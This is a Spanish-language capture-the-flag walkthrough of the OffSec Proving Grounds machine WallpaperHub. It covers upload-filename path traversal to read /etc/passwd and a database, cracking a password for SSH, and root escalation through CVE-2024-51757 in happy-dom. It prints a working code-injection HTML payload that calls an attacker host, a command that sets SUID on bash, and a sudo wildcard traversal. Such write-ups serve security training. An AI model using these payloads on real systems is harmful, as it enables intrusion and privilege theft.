WallpaperHub

WallpaperHub
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Intermediate - OffSec

Introducción

¡Hola Hacker! Bienvenido a una nueva resolución.

En esta ocasión, estaremos resolviendo la máquina WallpaperHub de la plataforma Proving Grounds Practice.

En esta máquina aprovechamos en primera instancia una subida de archivos arbitrarios, para luego realizar un LFI (Local File Inclusion). Con el LFI accedemos a una base de datos SQLite que contiene las credenciales de un usuario con acceso SSH, las cuales usamos para autenticarnos en la máquina. Finalmente, para escalar privilegios explotamos una vulnerabilidad en el paquete npm happy-dom que permite inyección arbitraria de comandos, consiguiendo así escalar privilegios.

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima. Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sS -sCV -p- --open -Pn -n --min-rate 5000 -oN servicesScan 192.168.143.204
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 19:35 -03
Nmap scan report for 192.168.143.204
Host is up (0.32s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_  256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
5000/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.1 Python/3.12.3
|_http-title: Wallpaper Hub - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.74 seconds

Explotación inicial

HTTP (80)

Si ingresamos al puerto 80, nos encontramos con la página por defecto de una instancia de Apache y nada interesante que podamos explotar.

WallpaperHub

HTTP (5000)

Bajo el puerto 5000, nos encontramos con el siguiente sitio web:

WallpaperHub

A través de este sitio, los usuarios pueden compartir sus wallpapers, para lo cual es necesario estar registrados.

Nos registramos e iniciamos sesión.

WallpaperHub

Iniciamos sesión

WallpaperHub

Una vez iniciamos sesión, somos redireccionados al siguiente Dashboard, donde contamos con varias secciones, entre ellas, el apartado de Upload Wallpaper donde podemos subir nuestro Wallpaper.

WallpaperHub

Subimos una imagen de prueba.

WallpaperHub

Luego, si accedemos a la sección de Explore Gallery vemos la imagen que acabamos de subir.

WallpaperHub

Para anlizar mejor la subida de archivos, podemos tramitar la petición por Burp Suite.

WallpaperHub

Enviamos la petición al Repeater

Modificamos el nombre de la imagen a ../../../../../../../../../../etc/passwd para intentar leer este archivo.

WallpaperHub

Si vamos a la sección de /gallery y descargamos nuestra archivo, vemos que logramos leer con éxtio el archivo /etc/passwd

WallpaperHub

WallpaperHub

Volvemos a subir la imagen, pero esta vez indicando como archivo a leer el .bash_history del usuario wp_hub:

WallpaperHub

Leemos el .bash_history del usuario wp_hub donde econtramos lo siguiente:

WallpaperHub

Cambiamos el nombre del archivo para indicar la ruta a la base de datos.

WallpaperHub

Descargamos nuevamente el archivo, en este caso la base de datos.

WallpaperHub

En la base de datos existe una tabla llamada users y dentro de esta existen dos usuarios, nuestro usuario (elliot) y el usuario wp_hub.

Rompemos el hash usando john.

WallpaperHub

Genial, obtenemos la contraseña del usuario wp_hub.

wp_hub:qazwsxedc

Nos conectamos por SSH usando estas credenciales.

WallpaperHub

Leemos el flag de local.txt.

WallpaperHub

Elevación de privilegios

Realizamos una enumeración básica y nos encontramos que podemos ejecutar con sudo el siguiente script

WallpaperHub

Si miramos el binario que se esta ejecutando, notamos que es un enlace simbólico a un script hecho en Javascript /opt/scraper/scraper.js.

WallpaperHub

#!/usr/bin/env node

const fs = require('fs');
const { Window } = require("happy-dom");

// Check if a file path is provided as a command-line argument
const filePath = process.argv[2];

if (!filePath) {
    console.error('Please provide a file path as an argument.');
    process.exit(1);
}

const window = new Window();
const document = window.document;

// Read the content of the provided file path
fs.readFile(filePath, 'utf-8', (err, data) => {
    if (err) {
        console.error(`Error reading file ${filePath}:`, err);
        return;
    }

    // Use document.write() to add the content to the document
    document.write(data);

    // Log all external imports (scripts, stylesheets, meta tags)
    const links = document.querySelectorAll('link');
    const scripts = document.querySelectorAll('script');
    const metaTags = document.querySelectorAll('meta');

    console.log('----------------------------');
    // Output the links (CSS imports)
    console.log('CSS Links:');
    links.forEach(link => {
        console.log(link.href);
    });

    console.log('----------------------------');

    // Output the scripts (JS imports)
    console.log('JavaScript Links:');
    scripts.forEach(script => {
        if (script.src) {
            console.log(script.src);
        } else {
            console.log('Inline script found.');
        }
    });

    console.log('----------------------------');

    // Output the meta tags (for metadata)
    console.log('Meta Tags:');
    metaTags.forEach(meta => {
        console.log(`Name: ${meta.name}, Content: ${meta.content}`);
    });

    console.log('----------------------------');
});

El script, esta usando una libreria externa llamada happy-dom. happy-dom, es una implementación de Javascript de un navegador web sin su interfaz gráfica de usuario, es decir, una herramienta para web scraping.

Si realizamos un busqueda en internet, nos encontramos con que las versiones del paquete happy-dom menores a 15.10.2 son vulnerables a Inyección Arbitraria de Comandos (Arbitrary Code Injection).

Esta vulnerabilidad esta identificada por el CVE CVE-2024-51757.

Para explotar esta vulnerabilidad y escalar nuestros privilegios, haremos lo siguiente:

En primer lugar, creamos un script con el siguiente contenido y le asignamos permisos de ejecución:

echo "chmod u+s /bin/bash" > /tmp/pwn
chmod +x /tmp/pwn

Luego, creamos un fichero html con el siguiente contenido:

<script src="https://192.168.45.204:8000/'+require('child_process').execSync('/tmp/pwn')+'"></script>

A continuación, en nuestra máquina atacante creamos un simple servidor HTTP con Python.

WallpaperHub

Ejecutamos el script.

sudo -u root /usr/bin/web-scraper /root/web_src_downloaded/../../tmp/pwn.html

Prestar atención al nombre del fichero que pasamos como parámetro (/root/web_src_downloaded/../../tmp/pwn.html), estamos abusando del * (comodín) indicado en la sintaxis del fichero sudoers.

De esta manera, logramos que se asignen privilegios SUID en el binario bash.

WallpaperHub

Post Explotación

Nos movemos a root y obtenemos la flag de proof.txt.

WallpaperHub

De esta forma, llegamos al final del laboratorio.

¡Gracias por tu lectura!

¡Happy Hacking!